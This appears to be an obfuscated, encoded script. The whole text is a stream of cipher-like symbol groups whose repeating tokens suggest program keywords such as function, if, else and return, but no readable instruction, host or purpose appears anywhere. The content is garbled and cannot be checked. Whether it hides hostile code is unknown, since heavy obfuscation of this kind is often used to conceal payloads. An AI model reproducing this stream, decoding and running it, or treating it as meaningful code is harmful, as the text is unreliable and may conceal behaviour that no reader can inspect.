YYNDr@^v_XSYHPXKSN t###		BDG[A[]PFJS			@G] 						NL]vFY]@FGSPDBZLLFM] 	 #				@O		BDG[A[]PFJS											KKAEPBMEYMGE  						BDG[A[]PFJS 							[DXQX_G@MCSSB 			R#				[L]\[G				OHEZL#					T####	#	KHO@BY^Jv								@G] 			NL]vFY]@FGKKAEPBMEYMGE 		 #	@O		KHO@BY^Jv		 		R##	MBCASX[@								@G] 			NL]vFY]@FGSPDBZLLFM] 		 #		MGZ[vHEAS					H[[HP 						 				 	 		  #			QF[SYG_C					MGZ[vHEASrSPDBZLLFM] 	@^v_XSYHPXKSN MBCASX[@								   t###					QF[SYG_C							SPDBZLLFM] 			@G] 		QF[SYG_C						  #			@O				KKAEPBMEYMGE  			KHO@BY^Jv 						QF[SYG_C 					R#	iZ\ZYLGM	ALH[]KLH]##				[L]\[G		OHEZL#					T#T#				#						[L]\[G			][\L#	T##	O\GJ]@FG				A[HKSJPO_D]_G #		R#	MBCASX[@					@G] 	NL]vFY]@FG@^v_XSYHPXKSN 				 #	\YMH]LvFY]@FGKKAEPBMEYMGE 			MBCASX[@				 #			\YMH]LvFY]@FGKKAEPBMEYMGE 		KKAEPBMEYMGE   ##					T##						O\GJ]@FG	P]^ZQ_[\G]L ##			R#	~y	oLH]\[LM	`DHNL	GF[DHE	X\F]@LG]##					L[GLAFES					H[[HP #			][P	R#						L[GLAFESr@^v_XSYHPXKSN t				^NKBHS]S^NFHGH^O] #			L[GLAFESr@^v_XSYHPXKSN t								yayvl{z`fg#	L[GLAFESr@^v_XSYHPXKSN t						SPDBZLLFM]  #L[GLAFESr@N[KMFGKOJZ t					SPDBZLLFM] @^v_XSYHPXKSN  				@ZvZZE  										#L[GLAFESrSPDBZLLFM] t			SPDBZLLFM] KKAEPBMEYMGE  					@ZvD\E]@Z@]L  							#			##				L[GLAFESrKKAEPBMEYMGE t							@ZZL]nefkhezr@N[KMFGKOJZ t 				Z][@GN 					nefkhezr@^v_XSYHPXKSN t				#L[GLAFESrKKAEPBMEYMGE t			@ZZL]vzl{l{r@N[KMFGKOJZ t 								KKAEPBMEYMGE Z][@GN 						vzl{l{r@N[KMFGKOJZ t						  					##	ZLQ_JSMQOE							@ZZL]nefkhezrSPDBZLLFM] t 			KKAEPBMEYMGE nefkhezr@N[KMFGKOJZ t  									SPDBZLLFM] nefkhezr@^v_XSYHPXKSN t 				###L[GLAFESr@^v_XSYHPXKSN t				ZLQ_JSMQOE						 												#					L[GLAFESr@^v_XSYHPXKSN t							@^v_XSYHPXKSN ZLQ_JSMQOE #				L[GLAFESrSPDBZLLFM] t			LDY]Pnefkhezr@^v_XSYHPXKSN t 											####L[GLAFESrSPDBZLLFM] t				LDY]Pnefkhezr@N[KMFGKOJZ t 								#		L[GLAFESrKKAEPBMEYMGE t				SPDBZLLFM] @N[KMFGKOJZ  								@G] 					iNL]vFY]@FG@^v_XSYHPXKSN 	 							##						L[GLAFESr@N[KMFGKOJZ t						FMQHASYASG@vKKAEPBMEYMGE 	 						 							#							L[GLAFESr@^v_XSYHPXKSN t			SPDBZLLFM] @^v_XSYHPXKSN  		@G] 			iNL]vFY]@FG@^v_XSYHPXKSN 	 				#	L[GLAFESr@N[KMFGKOJZ t			@N[KMFGKOJZ @^v_XSYHPXKSN  						@G] 		iNL]vFY]@FG@^v_XSYHPXKSN 				 								#						L[GLAFESr@N[KMFGKOJZ t			KKAEPBMEYMGE KKAEPBMEYMGE  								@G] 				iNL]vFY]@FGSPDBZLLFM] 	 		#_ONSMO			\PMXQZ\DMJ_]\OH #					L[GLAFESr@^v_XSYHPXKSN t								i@N[KMFGKOJZ _ONSMO			@^v_XSYHPXKSN  			O@HHBZGGMX_Q]]_BZiKKAEPBMEYMGE _ONSMO					@^v_XSYHPXKSN 			OHEZL		G\EE				   											 					###		L[GLAFESr@N[KMFGKOJZ t			iSPDBZLLFM] _ONSMO			@N[KMFGKOJZ  			O@HHBZGGMX_Q]]_BZiKKAEPBMEYMGE _ONSMO				SPDBZLLFM] 	OHEZL				G\EE							   										 								#L[GLAFESrSPDBZLLFM] t			iSPDBZLLFM] _ONSMO					@^v_XSYHPXKSN  			O@HHBZGGMX_Q]]_BZiSPDBZLLFM] _ONSMO									@^v_XSYHPXKSN 	OHEZL	G\EE										   									 							#vKYPXYDKBE@MNB						@N[KMFGKOJZ 								FZLYYKLLEQ[\Ahkzyh}a		N		  #					HHJLDSMvSN										KKAEPBMEYMGE 						FZLYYKLLEQ[\Ahkzyh}a			N		  #				L[GLAFESr@N[KMFGKOJZ t				#		OF[LHJA		H[[HP^D]]OFPX_KGKN@ 		_ONSMO	hkzyh}a				@^v_XSYHPXKSN  		HZ	EP__KN[EZB] 		R#	@O		iKKAEPBMEYMGE EP__KN[EZB]							vKYPXYDKBE@MNB				SPDBZLLFM]   					L[GLAFESrKKAEPBMEYMGE t			#	@O	iSPDBZLLFM] EP__KN[EZB]																HHJLDSMvSN 					@G] 	i@^v_XSYHPXKSN EP__KN[EZB]													HHJLDSMvSN 				KKAEPBMEYMGE  						  			R#L[GLAFESrKKAEPBMEYMGE t								#			K[LHB###T#						T#	\GZL]HHJLDSMvSN		EP__KN[EZB] #		[_FFZv[vAFX\		@^v_XSYHPXKSN SPDBZLLFM]  				i@^v_XSYHPXKSN KKAEPBMEYMGE  			OHEZL#		@O			@N[KMFGKOJZ [_FFZv[vAFX\ 				UU	[_FFZv[vAFX\										UU					[_FFZv[vAFX\						SPDBZLLFM]  	[_FFZv[vAFX\							@^v_XSYHPXKSN #L[GLAFESr@N[KMFGKOJZ t					iSPDBZLLFM] hkzyh}a		[_FFZv[vAFX\ 					KKAEPBMEYMGE Z][@GN 		iSPDBZLLFM] hkzyh}a						[_FFZv[vAFX\ 		@^v_XSYHPXKSN  							OHEZL 										#L[GLAFESrSPDBZLLFM] t				i@^v_XSYHPXKSN hkzyh}a											SPDBZLLFM]  			@^v_XSYHPXKSN Z][@GN 			i@^v_XSYHPXKSN hkzyh}a			KKAEPBMEYMGE  	SPDBZLLFM]  									OHEZL 												###L[GLAFESrSPDBZLLFM] t				i@^v_XSYHPXKSN hkzyh}a						@N[KMFGKOJZ  			@N[KMFGKOJZ Z][@GN 		i@^v_XSYHPXKSN hkzyh}a							SPDBZLLFM] 			OHEZL	G\EE								  		SPDBZLLFM]  				OHEZL 									####		L[GLAFESrKKAEPBMEYMGE t		MLO@GLM@^v_XSYHPXKSN  														#						L[GLAFESrKKAEPBMEYMGE t									MLO@GLMSPDBZLLFM]  		UU	MLO@GLM@^v_XSYHPXKSN  		UU	MLO@GLM@^v_XSYHPXKSN  	UU		KKAEPBMEYMGE @^v_XSYHPXKSN  						UU						@N[KMFGKOJZ @^v_XSYHPXKSN  						UU				@ZZL]nefkhezrKKAEPBMEYMGE t 		UU		KKAEPBMEYMGE KKAEPBMEYMGE   										#	L[GLAFESr@N[KMFGKOJZ t						@G] 	NL]vFY]@FGKKAEPBMEYMGE 				 #L[GLAFESr@N[KMFGKOJZ t					@G] 		NL]vFY]@FG@N[KMFGKOJZ 		 #	L[GLAFESr@^v_XSYHPXKSN t					@G] 				NL]vFY]@FG@^v_XSYHPXKSN 			 ###JAXYEZCNA								AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	H[[HP  E[O@L]]J[COQCKG]PE[O@L]]J E[O@L]]JE[O@L]]J##	PKX@							##				\OK\HLSvJP@					#				@O			KKAEPBMEYMGE JAXYEZCNA  				R####					OF[LHJA			JAXYEZCNA	HZ		DAGQ[H 					R###		@O			GvPSJ\HMXMJOGMDAGQ[H 							 		JFG]@G\L##PKX@##		FHZPZP					@N[KMFGKOJZ DAGQ[H 			@G] 		@ZZL]DAGQ[HrKKAEPBMEYMGE t 						DAGQ[Hr@^v_XSYHPXKSN t				 							#		YP\SvOK]KQ^				@N[KMFGKOJZ DAGQ[H 					@ZZL]DAGQ[HrKKAEPBMEYMGE t 			@G] 		DAGQ[Hr@N[KMFGKOJZ t			#	@O				FHZPZP					YP\SvOK]KQ^	UU			YP\SvOK]KQ^			KKAEPBMEYMGE  							   	\OK\HLSvJP@####				T#	T#		L[GLAFESrSPDBZLLFM] t			PKX@##		L[GLAFESr@^v_XSYHPXKSN t									\OK\HLSvJP@#				K\[[EX^OJ							KKAEPBMEYMGE KKAEPBMEYMGE  							iNL]vFY]@FG@N[KMFGKOJZ 	 												#				L[GLAFESrKKAEPBMEYMGE t						SPDBZLLFM] K\[[EX^OJ 			@^v_XSYHPXKSN K\[[EX^OJ								w  									#	Av\ONQKZ			SPDBZLLFM] @N[KMFGKOJZ  						iNL]vFY]@FG@^v_XSYHPXKSN 			H[[HP  						H[[HP #				L[GLAFESr@^v_XSYHPXKSN t			SPDBZLLFM] Av\ONQKZ 			LDY]PAv\ONQKZr]t 					UU		LDY]PAv\ONQKZrSPDBZLLFM] t   														#		T		JH]JA						}A[F^HKEL	E]GYK]v 	R#						L[GLAFESrSPDBZLLFM] t		@N[KMFGKOJZ E]GYK]vNL]dLZZHNL 				  #		T		JH]JA		lQJLY]@FG				E]GYK]v 			R####			L[GLAFESr@N[KMFGKOJZ t		@^v_XSYHPXKSN E]GYK]vNL]dLZZHNL 				QQ  #	T###							[L]\[G		L[GLAFES#T#	#			O\GJ]@FG		DvXCY]SQA][PB[M] #R#						@O	@N[KMFGKOJZ @^v_XSYHPXKSN   					R#					[L]\[G		Z][@GN 			Z@]Lv\[E@N[KMFGKOJZ  #						T#	[L]\[G	@^v_XSYHPXKSN @^v_XSYHPXKSN  					Z][@GN 					^YvEFN@Gv\[E 					#	T##	#					O\GJ]@FG	^NSJYZ_PLBFXKOG_GB@vvK #		R#	S[MHDH@GS\XFE				#			@O			@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#	ZGHYZAF]@ZFEH]LM	ZJALM\EL[##		S[MHDH@GS\XFE						Z][@GN 						SPDBZLLFM] AFDLv\[E 	JFGZ]HG]@N[KMFGKOJZ   #			T#		@O					S[MHDH@GS\XFE				@^v_XSYHPXKSN @^v_XSYHPXKSN   	R#		S[MHDH@GS\XFE			Z][@GN 		@N[KMFGKOJZ NL]vZ@]Lv\[E 	JFGZ]HG]@N[KMFGKOJZ   #	T#		@O							S[MHDH@GS\XFE						SPDBZLLFM] @^v_XSYHPXKSN   	R#	S[MHDH@GS\XFE			Z][@GN 						SPDBZLLFM] NL]vKEFN@GOFSPDBZLLFM]  		JFGZ]HG]@^v_XSYHPXKSN   #T#	@O				S[MHDH@GS\XFE					@N[KMFGKOJZ SPDBZLLFM]   					R#		S[MHDH@GS\XFE		Z][@GN 				@N[KMFGKOJZ Z][@GN 			NL]vFY]@FG@^v_XSYHPXKSN 			 		JFGZ]HG]KKAEPBMEYMGE   #					T#			@O				S[MHDH@GS\XFE		@ZZL]vzl{l{rKKAEPBMEYMGE t  		R##	S[MHDH@GS\XFE			Z][@GN 				vzl{l{rKKAEPBMEYMGE t#	T###@O		S[MHDH@GS\XFE			@ZZL]vzl{l{r@N[KMFGKOJZ t  				R#							S[MHDH@GS\XFE						Z][@GN 	vzl{l{rKKAEPBMEYMGE t#	T#		@O			S[MHDH@GS\XFE 				R#	~y	}HKEL	kEFJB	JH\ZHE	D@MMEL^H[L##[L]\[G	G_GB@vvK#			T#	[L]\[G			S[MHDH@GS\XFE#		T#O\GJ]@FG				\[DK^E^^XY #	R#			][P						R#	YFEPGFD@HE	Z]HK@E@SL[	####	QZA_SCMYBGX								SPDBZLLFM] @N[KMFGKOJZ  				@G] 			i@N[KMFGKOJZ @^v_XSYHPXKSN  					#@O		@N[KMFGKOJZ @N[KMFGKOJZ   	iKKAEPBMEYMGE   #		]ZAC\QBPH_\C			QZA_SCMYBGX			QLQ 			QZA_SCMYBGX					  		QZA_SCMYBGX									  			QZA_SCMYBGX																QZA_SCMYBGX						w  			 								QQ  #					@O					YKSSvB[HE_\G]CAPF  		R#	[L]\[G###					T####	@O			JD@CQMEODG^@^v_XSYHPXKSN   						R#		[L]\[G##		T#				#FM@QQFSvX					KKAEPBMEYMGE ][\L ###			[@_C[S^E^\L				AM_PYB]^H_BM_ #			@O			#			SPDBZLLFM] [@_C[S^E^\L #UU			@ZZL][@_C[S^E^\Lr@N[KMFGKOJZ t 						UU							@N[KMFGKOJZ [@_C[S^E^\Lr@N[KMFGKOJZ t 	UU						[@_C[S^E^\Lr@N[KMFGKOJZ t#			UU							@ZZL][@_C[S^E^\LrKKAEPBMEYMGE t 			UU				SPDBZLLFM] [@_C[S^E^\LrKKAEPBMEYMGE t 				UU		LDY]P[@_C[S^E^\LrKKAEPBMEYMGE t #			 	R####			A[HKSJPO_D]_G #		[L]\[G#	T#	[ADFZPvYFZM				[@_C[S^E^\Lr@^v_XSYHPXKSN t#	XAEB						[@_C[S^E^\Lr@N[KMFGKOJZ t#		CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 	[ADFZPvYFZM		SPDBZLLFM]  ####				AK@_Q]ZX					KKAEPBMEYMGE @^v_XSYHPXKSN  					Z][@GN 		NL]vFY]@FG@N[KMFGKOJZ 						 				_KKQLQQPKP]AM_KKQLQQ#		@O			AK@_Q]ZX														@N[KMFGKOJZ AK@_Q]ZX	XAEB					][\L  	R#			XAEB				@^v_XSYHPXKSN SPDBZLLFM] XAEB	H[[HPAK@_Q]ZX   #			SPDBZLLFM] XAEB #				@^v_XSYHPXKSN XAEB		AK@_Q]ZX #	T		LEZL@O						KKAEPBMEYMGE XAEB 				 		R#					KKAEPBMEYMGE XAEB #							T#	Z][LHD@GN	Z\KZ]@]\]@FGDHY	###		@O					KKAEPBMEYMGE ][\L 			FM@QQFSvX 										@G] 					]ZAC\QBPH_\C				  				R#	ZZHJFG_L[]	Z]HK@E@SL[	OF[	~y	{LM\Q	z]F[L##			A[HKSJPO_D]_G #				[L]\[G##		T#	#		PEG^DGC\K^M				vDBQCN\XAA #			^MCBDLPLE@ONPEG^DGC\K^M #	####	\L\OAL]X							H[[HP ####					@O			SPDBZLLFM] KKAEPBMEYMGE   		R#	OF[LHJA		H[[HP 		NL]vFY]@FG@^v_XSYHPXKSN 			H[[HP  	HZ					OEKOHSDG@[F 			R####	@O		KKAEPBMEYMGE OEKOHSDG@[F 					OEKOHSDG@[F 		R#			\L\OAL]Xrt								OEKOHSDG@[F#T#			T#			T#	yay	DH]JA	LQY[LZZ@FG	J\K@J	JAH@G##	#YDZSKPAJQ]A				H[[HP #	@O	MLO@GLM@^v_XSYHPXKSN   		R#			DFZJQA						KKAEPBMEYMGE @N[KMFGKOJZ  										iKKAEPBMEYMGE @N[KMFGKOJZ ~yd|vye|n`gvm`{		 			@N[KMFGKOJZ  			OHEZL#	@O			@N[KMFGKOJZ DFZJQA  			R#OF[LHJA				DFZJQA			HZ				MLXDFHODDKY 			R#	YDZSKPAJQ]Art			@^v_XSYHPXKSN MLXDFHODDKY #					T#	Y[FYHNH]L	JFGGLJ]LM	KEFFDO@E]L[#####				T#T#			#ZKLDKBEXJC							H[[HP####	@^v_XSYHPXKSN 					^NSJYZ_PLBFXKO #		SPDBZLLFM] 				^NKBHS]S^NFHGH^O] #@N[KMFGKOJZ 							@N[KMFGKOJZ [ZKLSD_ 		SPDBZLLFM]  #	@^v_XSYHPXKSN 								@N[KMFGKOJZ hkzyh}a	SPDBZLLFM]  #SPDBZLLFM] 				\L\OAL]X#			@N[KMFGKOJZ 				YDZSKPAJQ]A#SPDBZLLFM] 							DvXCY]SQA][PB[M] #@^v_XSYHPXKSN 					CB^\LDvOvXv[SKCHPEG^DGC\K^M ####	@^v_XSYHPXKSN 					GvK]ME\Q\BFQSL_PEG^DGC\K^M #						KKAEPBMEYMGE 					F^YJG^[GCMGQ			NX[M]GZAG[S]NEDLQ  #						# ####		QCKZB]MJA				@N[KMFGKOJZ KKAEPBMEYMGE  								^YvCZFGvLGJFMLZKLDKBEXJC 								SPDBZLLFM] ZKLDKBEXJC #						G_]O_\PFEGNX^G				SSZXS^KZAAPQLL@vQCKZB]MJA	[ADFZPvYFZM #E]^CBJ					H[[HPKKAEPBMEYMGE 						@^v_XSYHPXKSN  ####	vNDDQANQAC]^F					G\EE####		A[HKSJPO_D]_G ##OF[LHJA		XAEB	HZ	CDCJYMNO 	R#	#			@O	@^v_XSYHPXKSN ][\L 								FM@QQFSvX 					]ZAC\QBPH_\C 			R#				K[LHB##		T#		#	CDCJYMNO							@^v_XSYHPXKSN Z][@GN 						CDCJYMNO ##		@O			CDCJYMNO 	R#JFG]@G\L#T#							][P			R#	JFGZ@ML[	@GE@G@GN#####					@LC^]CX								[ADFZPvYFZM####	QAQDFGS_^NXD[					_]MNF_JCDCJYMNO	G_]O_\PFEGNX^G			E]^CBJ		w 		O\GJ]@FG		]_]YAEMZK 		\ZL	@LC^]CX 						R#L[GLAFES							SSZXS^KZAAPQLL@v]_]YAEMZK	@LC^]CX ##	@O		L[GLAFES 					[L]\[G			OHEZL#		[L]\[G			KKAEPBMEYMGE i@N[KMFGKOJZ @N[KMFGKOJZ L[GLAFES 			][\L  #T #@O					QAQDFGS_^NXD[ 			R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 				SPDBZLLFM] 					CDCJYMNO #		JFG]@G\L#					T#	yz{	DLZZHNLZ	KLGJADH[B	@]L[H]F[###		#	DPBYYL]G					SSZXS^KZAAPQLL@vQAQDFGS_^NXD[	[ADFZPvYFZM #		@O						DPBYYL]G 				R#					FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			SPDBZLLFM] 				CDCJYMNO #JFG]@G\L#T#	vNDDQANQAC]^F				i@^v_XSYHPXKSN SPDBZLLFM] DPBYYL]G 					][\L ####			@O				KKAEPBMEYMGE vNDDQANQAC]^F  		R##					@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#	~y	{@JA}LQ]	hy`	FY]@FG	[F^###					\YMH]LvFY]@FG@N[KMFGKOJZ 		CDCJYMNO #		T#		K[LHB#					T						LEZL		R#						FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	KKAEPBMEYMGE 						CDCJYMNO #							T#	T		JH]JA		}A[F^HKEL		E]GYK]v 			R#						FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #	JFG]@G\L#	T		JH]JA		lQJLY]@FG					E]GYK]v 					R#				JFG]@G\L#		T##T#						@O								KKAEPBMEYMGE vNDDQANQAC]^F  	R#		_^@Y]ECH[K			SSZXS^KZAAPQLL@v@N[KMFGKOJZ H[[HP#	SPDBZLLFM] 					^NSJYZ_PLBFXKO #		@^v_XSYHPXKSN 			^NKBHS]S^NFHGH^O] ##	@N[KMFGKOJZ 			@^v_XSYHPXKSN [ZKLSD_ 	@^v_XSYHPXKSN  ##			@N[KMFGKOJZ 				##	  		[ADFZPvYFZM #		J_@[BEONv_						@N[KMFGKOJZ Z][][KKAEPBMEYMGE _^@Y]ECH[K 		SPDBZLLFM] 			KKAEPBMEYMGE  		 #				LNBS]XDQ@MH						@N[KMFGKOJZ J_@[BEONv_		  #OF[LHJA				XAEB			HZ		CDCJYMNO 	R##					@O			@N[KMFGKOJZ ][\L 									FM@QQFSvX 				]ZAC\QBPH_\C 			R#				K[LHB#T#			CDCJYMNO					@N[KMFGKOJZ Z][@GN 	CDCJYMNO JXB@Yyayv`g}vdhqyayv`g}vdhqEAvYSBM\YDJXB@Y#@O	CDCJYMNO					 	R#	iDFGFDF[YA@SL	\G@O@JH]@FG##			JFG]@G\L#						T#		BZABDZZ^			FZLYYKLLEQ[\A^NSJYZ_PLBFXKO 									@^v_XSYHPXKSN ][\L 				  ##				DCD[LZ@BKN\_				@^v_XSYHPXKSN LNBS]XDQ@MH #			NEZ@XH@Q					@^v_XSYHPXKSN CDCJYMNO						 			OHEZL 										#	OF[					]B_XAL@				]B_XAL@					DCD[LZ@BKN\_	]B_XAL@ 	R###	@O	KKAEPBMEYMGE ][\L 					FM@QQFSvX 			]ZAC\QBPH_\C 	R#				K[LHB#	T#			X\_Q[_GSDBD				]B_XAL@		DCD[LZ@BKN\_				 #		A^B[XKA^B]S					CDCJYMNO						NEZ@XH@Q							@^v_XSYHPXKSN 		BZABDZZ^			SPDBZLLFM] 		]B_XAL@					@N[KMFGKOJZ 				DCD[LZ@BKN\_						@N[KMFGKOJZ 					LNBS]XDQ@MHr]B_XAL@t#			@K\ZM					Z[ZXvKF[YSH@YA^B[XKA^B]S	 	X\_Q[_GSDBD		O\GJ]@FG					]_]YAEMZK 					\ZL	[ADFZPvYFZM 			R#L[GLAFES					SSZXS^KZAAPQLL@v]_]YAEMZK			[ADFZPvYFZM ##@O	L[GLAFES 	[L]\[G			OHEZL#	[L]\[G	@^v_XSYHPXKSN iSPDBZLLFM] KKAEPBMEYMGE L[GLAFES 			][\L  #				T					G\EE #					@O		X\_Q[_GSDBD		@^v_XSYHPXKSN @K\ZM 				@K\ZM										 			R#				vNM		SSZXS^KZAAPQLL@v@K\ZM	[ADFZPvYFZM ##	vKYPXYDKBE@MNB						vNM		iSPDBZLLFM] KKAEPBMEYMGE vNM 						][\L 								G\EE#	@O		KKAEPBMEYMGE vKYPXYDKBE@MNB  		R###	vNDDQANQAC]^F							vKYPXYDKBE@MNBSJ_\B_PZ[KMZJE[FJ\^SJ_\B_PZ#@O	KKAEPBMEYMGE @^v_XSYHPXKSN   		R#	\YMH]LvFY]@FGSPDBZLLFM] 						CDCJYMNO #		T####							K[LHB##	T####				T##						T#			@O		KKAEPBMEYMGE vNDDQANQAC]^F  	R#					K[LHB#		T#	T#							T#@O								@N[KMFGKOJZ vNDDQANQAC]^F  	R#	[L]\[G#			T#	@O	F^YJG^[GCMGQ									@N[KMFGKOJZ KKAEPBMEYMGE   	R#				MLEL]LvFY]@FGL_LYNP^vZHQF\\F@^v_XSYHPXKSN   #	T#						@O			@ZZL]nefkhezrSPDBZLLFM] t 			UU		@N[KMFGKOJZ nefkhezrSPDBZLLFM] t  	nefkhezrKKAEPBMEYMGE t				H[[HP ####	nefkhezrSPDBZLLFM] t					@N[KMFGKOJZ @N[KMFGKOJZ nefkhezrSPDBZLLFM] t						F^YJG^[GCMGQ  #	@O	@ZZL]vNDDQANQAC]^FrKKAEPBMEYMGE t 			SPDBZLLFM] vNDDQANQAC]^FrKKAEPBMEYMGE t  				R#				DBHPPAYP_CYPA\vNDDQANQAC]^Fr@^v_XSYHPXKSN t					@ZZL]vNDDQANQAC]^Fr@N[KMFGKOJZ t 							KKAEPBMEYMGE vNDDQANQAC]^FrKKAEPBMEYMGE t 			vNDDQANQAC]^FrSPDBZLLFM] t						LDY]PvNDDQANQAC]^Fr@N[KMFGKOJZ t  #T#		#				AKFZQAK		OHEZL##		O@^AFvD[DPK					H[[HP #		##		@O			@ZZL]vNDDQANQAC]^Fr@N[KMFGKOJZ t 				SPDBZLLFM] vNDDQANQAC]^Fr@N[KMFGKOJZ t  					R#			@NYAOBHL						H[[HP ##		OF[LHJA						vNDDQANQAC]^FrKKAEPBMEYMGE t	HZ	YCOFJFCO\ 		R#	@O						@^v_XSYHPXKSN YCOFJFCO\ 					YCOFJFCO\				 	R#	@NYAOBHLrt					YCOFJFCO\#							T#	M@HNGFZ]@J	MH]HOEF^N[HYA	##		T#	_GXBL^_HK							nefkhezrSPDBZLLFM] t#			@NYAOBHL						SMMMSODOSM@PNP@NYAOBHL ####	nefkhezr@N[KMFGKOJZ t				@NYAOBHL#		O@^AFvD[DPKrSPDBZLLFM] t					@NYAOBHL#		@O						LDY]PSPDBZLLFM] @NYAOBHL		_GXBL^_HK  				UU				LDY]P@^v_XSYHPXKSN _GXBL^_HK	@NYAOBHL   				R#	AKFZQAK			][\L#			T##				T#			#			@O		@ZZL]vNDDQANQAC]^FrSPDBZLLFM] t 				@N[KMFGKOJZ vNDDQANQAC]^FrKKAEPBMEYMGE t  			R#						@NYAOBHL								H[[HP #				#			OF[LHJA			vNDDQANQAC]^Fr@^v_XSYHPXKSN t	HZ	YCOFJFCO\ 					R#@O				@N[KMFGKOJZ YCOFJFCO\ 					YCOFJFCO\			 	R#@NYAOBHLrt						YCOFJFCO\#		T#					T#		_GXBL^_HK									nefkhezrSPDBZLLFM] t####		@NYAOBHL						SMMMSODOSM@PNP@NYAOBHL ###				nefkhezr@N[KMFGKOJZ t						@NYAOBHL#				O@^AFvD[DPKr@^v_XSYHPXKSN t					@NYAOBHL#							@O			LDY]PSPDBZLLFM] @NYAOBHL	_GXBL^_HK  		UU			LDY]P@N[KMFGKOJZ _GXBL^_HK	@NYAOBHL   		R###	AKFZQAK						][\L#				T#	T#	DKZ][@GN	Z][@J]	HKF[]	LX\@_HELGJLJEHZZ##	@O		@ZZL]vNDDQANQAC]^Fr@^v_XSYHPXKSN t 			@^v_XSYHPXKSN vNDDQANQAC]^Fr@N[KMFGKOJZ t  	R#		JN@ENZBF^J				FMQHASYASG@v@^v_XSYHPXKSN 		 #nefkhezrKKAEPBMEYMGE t				vNDDQANQAC]^FrSPDBZLLFM] t#O@^AFvD[DPKrKKAEPBMEYMGE t						vNDDQANQAC]^Fr@^v_XSYHPXKSN t#		@O			@^v_XSYHPXKSN vNDDQANQAC]^FrSPDBZLLFM] t 				@N[KMFGKOJZ JN@ENZBF^J  		R#	AL[D@]@HG	_@Z@]F[##				CSvEESS]PSH[M^GBD_@^v_XSYHPXKSN 		vNDDQANQAC]^FrKKAEPBMEYMGE t			@^v_XSYHPXKSN  #[CMAX_XY\@B[\BN\ #		T#		\GZL]JN@ENZBF^J ###			T#		M\_DDMG					@ZZL]vNDDQANQAC]^Fr@^v_XSYHPXKSN t 					KKAEPBMEYMGE vNDDQANQAC]^Fr@^v_XSYHPXKSN t 							vNDDQANQAC]^FrSPDBZLLFM] t			H[[HP ###@O						@ZZL]M\_DDMGrSPDBZLLFM] t 				KKAEPBMEYMGE M\_DDMGrKKAEPBMEYMGE t  		R#				@O	@^v_XSYHPXKSN M\_DDMGrSPDBZLLFM] t 			QQO  	R####	nefkhezr@^v_XSYHPXKSN t								M\_DDMGrSPDBZLLFM] t#					O@^AFvD[DPKrKKAEPBMEYMGE t			M\_DDMGrKKAEPBMEYMGE t#			T			LEZL		R###	nefkhezrSPDBZLLFM] t									#O@^AFvD[DPKr@^v_XSYHPXKSN t					#CSvEESS]PSH[M^GBD_SPDBZLLFM] 					@N[KMFGKOJZ  ###					T#	T#		@O			@ZZL]M\_DDMGrSPDBZLLFM] t 			KKAEPBMEYMGE M\_DDMGrKKAEPBMEYMGE t  	R#	@O		KKAEPBMEYMGE M\_DDMGrKKAEPBMEYMGE t 					  				R#					nefkhezr@N[KMFGKOJZ t							M\_DDMGr@N[KMFGKOJZ t#				O@^AFvD[DPKr@^v_XSYHPXKSN t					M\_DDMGrKKAEPBMEYMGE t#T	LEZL			R#								nefkhezrKKAEPBMEYMGE t					#			O@^AFvD[DPKrSPDBZLLFM] t					#	CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 		KKAEPBMEYMGE  ##		T#						T#			_L\DHGDSNv			@ZZL]vNDDQANQAC]^Fr@^v_XSYHPXKSN t 		@^v_XSYHPXKSN vNDDQANQAC]^Fr@N[KMFGKOJZ t 					vNDDQANQAC]^Fr@N[KMFGKOJZ t						H[[HP #					_]ZAKXHKPJJ			H[[HP#	SPDBZLLFM] 			KKAEPBMEYMGE #					KKAEPBMEYMGE 					@N[KMFGKOJZ ##			@^v_XSYHPXKSN 			KKAEPBMEYMGE #							@N[KMFGKOJZ 					KKAEPBMEYMGE #@N[KMFGKOJZ 							@^v_XSYHPXKSN #			@^v_XSYHPXKSN 			SPDBZLLFM] #		KKAEPBMEYMGE 				@N[KMFGKOJZ ###	KKAEPBMEYMGE 					KKAEPBMEYMGE #				 #OF[LHJA				_]ZAKXHKPJJ		HZ	_CH@vK[O				_XEF]XD]LC 				R#@O	@ZZL]_L\DHGDSNvr_CH@vK[Ot 						@N[KMFGKOJZ _L\DHGDSNvr_CH@vK[Ot 							KKAEPBMEYMGE _L\DHGDSNvr_CH@vK[Ot 				w  		R#	O@^AFvD[DPKr_XEF]XD]LCt							_L\DHGDSNvr_CH@vK[Ot#							T#			T#@O			@ZZL]vNDDQANQAC]^FrKKAEPBMEYMGE t 								KKAEPBMEYMGE vNDDQANQAC]^FrSPDBZLLFM] t  	R##_MAE@\_\EJ		@G] 					vNDDQANQAC]^Fr@N[KMFGKOJZ t#		@O						_MAE@\_\EJ						 						_MAE@\_\EJ			QOOQ  		O@^AFvD[DPKr@N[KMFGKOJZ t			_MAE@\_\EJ#								T#		@O	@ZZL]vNDDQANQAC]^Fr@^v_XSYHPXKSN t 						SPDBZLLFM] vNDDQANQAC]^Fr@^v_XSYHPXKSN t  	R#vJ@								@G] 		vNDDQANQAC]^Fr@N[KMFGKOJZ t#@O					vJ@			 					vJ@				  	O@^AFvD[DPKrKKAEPBMEYMGE t			vJ@#								T#@O	LDY]PO@^AFvD[DPK  					R#	MLEL]LvFY]@FG@N[KMFGKOJZ  #	MLEL]LvFY]@FG@^v_XSYHPXKSN  #\YMH]LvFY]@FG@^v_XSYHPXKSN 		@N[KMFGKOJZ   #MLEL]Lv][HGZ@LG]KKAEPBMEYMGE  ###			SENDYMJ\^^CSHFB] v^MH]BM@POMv^MH]BM@####				EBO_KJ@NXJJJZ #				[L]\[G#		T####	#			\[F_\MA^A]								HA@ZOGv_MX[HB_Q\@^v_XSYHPXKSN 	OHEZL #			##		@O		SPDBZLLFM] \[F_\MA^A]  	R#	O@^AFvD[DPK			KKAEPBMEYMGE \[F_\MA^A]				O@^AFvD[DPK _ADDJF^Eyayv`g}vdhqyayv`g}vdhqMGPXFSOCY_ADDJF^E#	T#						#	@O						@^v_XSYHPXKSN @N[KMFGKOJZ   		R#			[DXQX_G@MCSSB				ALQFXB@G@^X ###	@O				@ZZL]